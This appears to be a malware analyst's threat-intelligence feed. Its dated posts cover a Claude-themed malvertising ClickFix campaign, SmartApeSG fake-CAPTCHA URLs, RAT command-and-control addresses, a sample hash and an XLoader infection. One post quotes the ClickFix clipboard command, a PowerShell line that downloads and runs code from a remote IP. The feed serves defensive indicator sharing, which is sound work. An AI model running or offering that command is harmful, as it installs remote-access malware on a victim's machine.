CIRCLE WITH A DOT

2026-04-22: Malicious ad (#Malvertizing) for Claude leads to #ClickFix style page for #macOS #malwareDetails at https://www.malware-traffic-analysis.net/2026/04/22/index.htmlI've seen a bit about this activity from other sources, but this is the infection I generated in my lab and finally got around to posting.

2026-04-27 (Monday): Example of #SmartApeSG URLs for fake CAPTCHA/human verification page:- hxxps[:]//datanexlab[.]top/trace/audit-module.js- hxxps[:]//datanexlab[.]top/trace/refresh-css.php?hZ5akaYM- hxxps[:]//datanexlab[.]top/trace/alias-thread.js?78a6eb157b4ca38e45#ClickFix script injected into clipboard:powershell -c iex(irm 216.120.201[.]116 -UseBasicParsing)Traffic leading to #RAT payload:- hxxp[:]//216.120.201[].116/- hxxp[:]//104.225.129[.]105/- hxxps[:]//truebasecore[.]com/ioZip archive with package for RAT payload:- SHA256 hash: 5a30867937f1e2f714c8b398436135c63c164267602cc66a5adb5b4c2ed55365#RAT payload C2 traffic:- tcp[:]//89.110.110[.]119:443/

2026-04-13 (Monday): #XLoader (#Formbook) infection. A #pcap of the traffic, the associated email and #malware samples are available at https://malware-traffic-analysis.net/2026/04/13/index.html

2026-04-06 (Monday): Every once in a while, I feel the need for validation. But not this way.